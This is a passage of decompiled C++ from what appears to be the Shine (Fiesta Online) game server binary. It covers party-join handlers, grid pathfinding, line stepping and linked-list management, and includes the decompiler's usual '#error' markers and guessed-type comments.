= "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v4); __security_check_cookie((unsigned int)&_ ^ v6); } //----- (004B72C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@2 int v4; // esi@3 int v5; // eax@4 v1 = this; result = *(_DWORD *)(this + 139392); if ( result ) { v3 = 0; if ( *(_BYTE *)result ) { v4 = 0; do { v5 = *(_DWORD *)(v4 + result + 32); if ( v5 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2268))(v5); result = *(_DWORD *)(v1 + 139392); ++v3; v4 += 32; } while ( v3 < *(_BYTE *)result ); } } return result; } //----- (004B7310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this) { ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)(this + 139392)); } //----- (004B7320) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0xFA0u ) { CParty::MemberJoin(&partycontainer, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet(&partymanufacture, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); PartyManufacture::pm_NewMemberJoin(&partymanufacture, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } else { AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD : join to empty party", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } } //----- (004B7440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S3_49 & 1) ) { _S3_49 |= 1u; cmc_63.cmc_AllowMode = 126; atexit(_E4_31); } if ( (1 << **(_BYTE **)(v4 + 3568)) & cmc_63.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_PartyInformInit(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); } //----- (004B7520) -------------------------------------------------------- #error "4B7520: undefined or illegal type '#593' (funcsize=84)" //----- (004B7640) -------------------------------------------------------- #error "4B7640: undefined or illegal type '#593' (funcsize=84)" //----- (004B7760) -------------------------------------------------------- unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag) { unsigned __int16 result; // ax@2 if ( this->pfc_flag == flag ) result = this->pfc_distance; else result = -31073; return result; } //----- (004B7780) -------------------------------------------------------- PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y) { PathFindTable *v3; // esi@1 int v4; // ecx@5 PathFindCell *result; // eax@8 v3 = this; LOBYTE(v4) = x >= -1200 && x <= 1200 && y >= -1200 && y <= 1200; v4 = (unsigned __int8)v4; if ( (_BYTE)v4 ) { result = (PathFindCell *)((char *)v3 + 16 * (2401 * x + y + 2882400)); } else { AssertClass::ac_AssertFail(&shineassert, "PathFindTable::operator () : Out of range", v4); result = (PathFindCell *)((char *)v3 + (_DWORD)((char *)&wholesaver + 83024712)); } return result; } //----- (004B77F0) -------------------------------------------------------- void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y) { *x = this->ls_from.x + step * this->ls_delta1024.x / 1024; *y = this->ls_from.y + step * this->ls_delta1024.y / 1024; if ( *x < -1200 || *x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *x); if ( *y < -1200 || *y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *y); } //----- (004B7880) -------------------------------------------------------- Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty) { LinearStep *v5; // esi@1 signed int v6; // ecx@13 signed int v7; // eax@13 int v8; // ecx@18 v5 = this; if ( fx < -1200 || fx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fx); if ( fy < -1200 || fy > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fy); if ( tx < -1200 || tx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", tx); if ( ty < -1200 || ty > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", ty); v5->ls_from.y = fy; v5->ls_to.y = fy; v6 = abs(tx - fx); v7 = abs(ty - fy); v5->ls_from.x = fx; v5->ls_to.x = fx; if ( v6 <= v7 ) v6 = v7; v5->ls_linelength = v6; if ( v6 ) { v5->ls_delta1024.x = ((tx - fx) << 10) / v6; v5->ls_delta1024.y = ((ty - fy) << 10) / v6; } else { v5->ls_delta1024.y = 0; v5->ls_delta1024.x = 0; } v8 = v5->ls_from.y; v5->ls_Prev.x = v5->ls_from.x; v5->ls_count = 0; v5->ls_Prev.y = v8; return (Tracer *)v5; } //----- (004B7990) -------------------------------------------------------- void __thiscall PathFindTable::PathFindTable(PathFindTable *this) { PathFindTable *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, (int)loc_57F6C1, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(unsigned int *)((char *)&v1->pft_table[0][0].pfc_flag + (_DWORD)((char *)&wholesaver + 83024712)) = 0; } // 57F6C1: using guessed type int __cdecl loc_57F6C1(int pkChar); //----- (004B79C0) -------------------------------------------------------- void __thiscall PathFindTable::_PathFindTable(PathFindTable *this) { _eh_vector_destructor_iterator_( this, 0x10u, (int)loc_57F6C1, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 57F6C1: using guessed type int __cdecl loc_57F6C1(int pkChar); //----- (004B79E0) -------------------------------------------------------- void __thiscall Tracer::_Tracer(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 6509F0: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (004B79F0) -------------------------------------------------------- void __thiscall LinearStep::LinearStep(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&LinearStep::_vftable_; } // 6509FC: using guessed type int (__thiscall *LinearStep___vftable_)(void *p, char); //----- (004B7A00) -------------------------------------------------------- char __thiscall List::l_Free(List *this, unsigned __int16 hnd) { ListStruct *v2; // esi@2 int v3; // eax@2 unsigned __int16 v4; // si@4 char result; // al@5 if ( hnd < this->l_MaxSize && (v2 = this->l_Array, v3 = hnd, v2[v3].ls_IsActiv) && hnd != this->l_Finger.store ) { v2[v2[v3].ls_Prev].ls_Next = v2[v3].ls_Next; this->l_Array[this->l_Array[v3].ls_Next].ls_Prev = this->l_Array[v3].ls_Prev; v4 = this->l_Finger.empty; if ( v4 == -1 ) { this->l_Array[v3].ls_Next = hnd; this->l_Array[v3].ls_Prev = hnd; this->l_Finger.empty = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } else { this->l_Array[v3].ls_Next = v4; this->l_Array[v3].ls_Prev = this->l_Array[this->l_Finger.empty].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.empty].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.empty].ls_Prev = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } } else { result = 0; } return result; } //----- (004B7AF0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd) { unsigned __int16 v2; // ax@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@2 v2 = this->l_Finger.empty; if ( v2 == -1 ) { result = 0; } else { *hnd = v2; result = (AbnormalStateContainer::AbstateElementInObject *)((int (__stdcall *)(_WORD))this->vfptr->l_AllocZ)(v2); } return result; } //----- (004B7B10) -------------------------------------------------------- #error "4B7B10: undefined or illegal type '#593' (funcsize=24)" //----- (004B7B60) -------------------------------------------------------- CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle) { unsigned __int16 v3; // dx@1 CardDeck::Card *result; // eax@2 void *v5; // eax@3 int v6; // esi@5 unsigned __int16 v7; // dx@6 v3 = this->l_Finger.store; if ( v3 == this->l_MaxSize ) { v5 = handle; if ( !handle ) v5 = &handle; v6 = 0; *(_WORD *)v5 = this->l_Array[v3].ls_Next; if ( order ) { while ( 1 ) { v7 = this->l_Array[*(_WORD *)v5].ls_Next; *(_WORD *)v5 = v7; if ( v7 >= this->l_MaxSize ) break; ++v6; if ( (unsigned __int16)v6 >= order ) goto LABEL_8; } result = 0; } else { LABEL_8: result = this->l_Array[*(_WORD *)v5].ls_Content; } } else { result = 0; } return result; } //----- (004B7BE0) -------------------------------------------------------- char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle) { ((void (__stdcall *)(_DWORD))this->le_list->vfptr->l_Free)(handle); return 1; } //----- (004B7C00) -------------------------------------------------------- void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (TracerVtbl *)&Tracer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 6509F0: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (004B7C20) -------------------------------------------------------- void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Tracer::_Tracer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B7C40) -------------------------------------------------------- char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { LinearStep *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->ls_Prev.y * v4->ls_Prev.y + v4->ls_Prev.x * v4->ls_Prev.x >= mindist * mindist ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 1; } else { lastloc->x = v4->ls_Prev.x; lastloc->y = v4->ls_Prev.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 0; } return result; } //----- (004B7D10) -------------------------------------------------------- void __thiscall CellStack::_CellStack(CellStack *this) { CellStack *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; v2 = this->cs_list.l_Array; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 644060: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 6509F0: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); // 650A20: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (004B7D40) -------------------------------------------------------- void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist) { CellStack *v7; // esi@1 PathFindCell *v8; // eax@5 unsigned __int16 v9; // bp@5 unsigned int v10; // ST08_4@6 PathFindCell *v11; // eax@6 AbnormalStateContainer::AbstateElementInObject *v12; // esi@7 PathFindCell *v13; // eax@8 CellStack *v14; // edx@8 FunctionEntarance _; // [sp+10h] [bp-14h]@1 CellStack *v16; // [sp+14h] [bp-10h]@1 int v17; // [sp+20h] [bp-4h]@1 v7 = this; v16 = this; _.fe_FunctionCode = "CellStack::cs_push"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::cs_push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::cs_push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( x < -1200 || x > 1200 || y < -1200 || y > 1200 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::cs_push"); } else { v8 = PathFindTable::operator__(&pathfindtable, x, y); v9 = dist; if ( v8->pfc_flag != pathfindflag || (v10 = pathfindflag, v11 = PathFindTable::operator__(&pathfindtable, x, y), PathFindCell::pfc_Getdistance(v11, v10) >= v9) ) { v12 = List::l_AllocationZ( (List *)&v7->cs_list, &dist); if ( !AssertClass::operator__(&shineassert, v12 == 0, "CellStack::cs_push : Out of memory", 0) ) { *(_DWORD *)&dist = pathfindflag; v13 = PathFindTable::operator__(&pathfindtable, x, y); v13->pfc_flag = dist; v13->pfc_distance = v9; *(_DWORD *)&v12->gap9[3] = fy; *(_DWORD *)&v12->aeo_Caster._bf0 = fx; *(_DWORD *)&v12->gap9[7] = v9; v14 = v16; *(_DWORD *)&v12->gap9[11] = y * y + x * x + ((unsigned int)v9 >> 6); *(_DWORD *)&v12->aeo_Flag._bf0 = x; v12->aeo_Index = y; v14 = (CellStack *)((char *)v14 + 4828); v14->baseclass_0.vfptr = (TracerVtbl *)x; v14->cs_array[0].cur.x = v12->aeo_Index; v14->cs_array[0].cur.y = *(_DWORD *)&v12->aeo_Caster._bf0; v14->cs_array[0].from.x = *(_DWORD *)&v12->gap9[3]; v14->cs_array[0].from.y = *(_DWORD *)&v12->gap9[7]; v14->cs_array[0].distance = *(_DWORD *)&v12->gap9[11]; } } v17 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (004B7F10) -------------------------------------------------------- char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { CellStack *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->cs_lastloc.cur.y * v4->cs_lastloc.cur.y + v4->cs_lastloc.cur.x * v4->cs_lastloc.cur.x >= mindist ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 1; } else { lastloc->x = v4->cs_lastloc.cur.x; lastloc->y = v4->cs_lastloc.cur.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 0; } return result; } //----- (004B7FF0) -------------------------------------------------------- char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle) { MinWeightSearching *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MinWeightSearching::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->weight; if ( v3->mws_minweight > v4 ) { v3->mws_minweight = v4; v3->mws_minhandle = handle; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); return 1; } //----- (004B8060) -------------------------------------------------------- Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas) { Tracer *v2; // ebp@1 List *v3; // edi@1 int v4; // ebx@1 CardDeck::Card *v5; // esi@1 PathFindCell *v7; // eax@5 unsigned int v8; // ecx@5 unsigned int v9; // edi@6 PathFindCell *v10; // eax@6 signed __int16 v11; // ax@7 unsigned __int16 v12; // di@12 unsigned int v13; // ebx@12 PathFindCell *v14; // eax@12 int (__stdcall **mws)(int, __int16); // [sp+10h] [bp-18h]@1 unsigned __int16 order[2]; // [sp+14h] [bp-14h]@1 int v17; // [sp+18h] [bp-10h]@1 int v18; // [sp+24h] [bp-4h]@1 v2 = (Tracer *)this; mws = &MinWeightSearching::_vftable_; order[0] = -1; v17 = 999999999; v3 = (List *)&this->cs_list; v18 = 0; List::l_4AllInList((List *)&this->cs_list, (ListIteratorDefault *)&mws); v4 = *(_DWORD *)order; v5 = List::l_GetInList(v3, order[0], 0); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "no path", 0); return 0; } if ( !v3->vfptr->l_Free(v3, v4) ) AssertClass::ac_AssertFail(&shineassert, "CellStack::t_trace : Free fail", 0); v7 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v8 = pathfindflag; if ( v7->pfc_flag == pathfindflag ) { v9 = pathfindflag; v10 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); if ( v10->pfc_flag == v9 ) v11 = v10->pfc_distance; else v11 = -31073; if ( (unsigned __int16)v11 <= (signed int)v5[4].c_card ) return v2; v8 = pathfindflag; } v12 = LOWORD(v5[4].c_card); v13 = v8; v14 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v14->pfc_flag = v13; v14->pfc_distance = v12; v14->pfc_from.x = v5[2].c_card; v14->pfc_from.y = v5[3].c_card; return LinearStep::ls_Set(&linestep, v5->c_card, v5[1].c_card, 0, 0); } // 650A7C: using guessed type int (__stdcall *MinWeightSearching___vftable_)(int ele, __int16 handle); //----- (004B81C0) -------------------------------------------------------- void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004B81E0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004B8230) -------------------------------------------------------- #error "4B8230: undefined or illegal type '#593' (funcsize=24)" //----- (004B8280) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004B83A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004B83F0) -------------------------------------------------------- Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist) { int v5; // esi@1 CellStack *v6; // ebx@1 int xa; // [sp+18h] [bp+8h]@7 int dista; // [sp+20h] [bp+10h]@7 v5 = x; v6 = this; if ( x < -1200 || x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", x); if ( y < -1200 || y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", y); xa = dist + 1000; CellStack::cs_push(v6, pfas, v5, y, v5, y + 1, dist + 1000); dista = dist + 1414; CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y + 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5, y - 1, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y + 1, dista); return (Tracer *)v6; } //----- (004B8510) -------------------------------------------------------- Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas) { void *v2; // esi@1 int v3; // ST04_4@1 unsigned int v4; // edi@1 PathFindCell *v5; // eax@1 int v6; // edi@4 int v7; // ebx@4 unsigned int v8; // ebp@9 PathFindCell *v9; // eax@9 char *v11; // [sp-4h] [bp-30h]@5 unsigned __int16 predist; // [sp+10h] [bp-1Ch]@2 int y; // [sp+14h] [bp-18h]@1 int x; // [sp+18h] [bp-14h]@1 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v16; // [sp+28h] [bp-4h]@1 signed int pfasa; // [sp+30h] [bp+4h]@7 v2 = this; _.fe_FunctionCode = "LinearStep::t_trace"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_trace"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_trace"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 9) + 1; v16 = 0; *((_DWORD *)v2 + 9) = v3; LinearStep::ls_step((LinearStep *)v2, v3, &x, &y); v4 = pathfindflag; v5 = PathFindTable::operator__(&pathfindtable, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8)); if ( v5->pfc_flag == v4 ) predist = v5->pfc_distance; else predist = -31073; v6 = y; v7 = x; if ( PathFindTable::operator__(&pathfindtable, x, y)->pfc_flag == pathfindflag ) { v2 = CellStack::cs_Set(&cellstack, pfas, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8), predist); v11 = "LinearStep::t_trace"; } else { if ( *((_DWORD *)v2 + 7) == v7 || (pfasa = 1414, *((_DWORD *)v2 + 8) == v6) ) pfasa = 1000; v8 = pathfindflag; v9 = PathFindTable::operator__(&pathfindtable, v7, v6); v9->pfc_flag = v8; v9->pfc_distance = predist + pfasa; v9->pfc_from.x = *((_DWORD *)v2 + 7); v9->pfc_from.y = *((_DWORD *)v2 + 8); *((_DWORD *)v2 + 7) = v7; *((_DWORD *)v2 + 8) = v6; v11 = "LinearStep::t_trace"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return (Tracer *)v2; } //----- (004B8680) -------------------------------------------------------- void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int a2) { void *v2; // esi@1 v2 = this; CellStack::_CellStack(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B86A0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004B87C0) -------------------------------------------------------- void __thiscall CellStack::CellStack(CellStack *this) { CellStack *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 signed int v21; // [sp+10h] [bp-10h]@1 v1 = this; v2 = (char *)&this->cs_list; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; this->cs_list.l_ListArray = 0; List::l_MakeList(&this->cs_list, 0xC8u); v3 = 2; v4 = 36; v5 = (int)&v1->cs_array[1]; v21 = 40; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 24; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 24; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 48; } if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 72; } v4 += 60; v3 += 5; v5 += 120; --v21; } while ( v21 ); } // 644060: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 650A20: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (004B88E0) -------------------------------------------------------- void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this) { JunctionPointContainer *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // 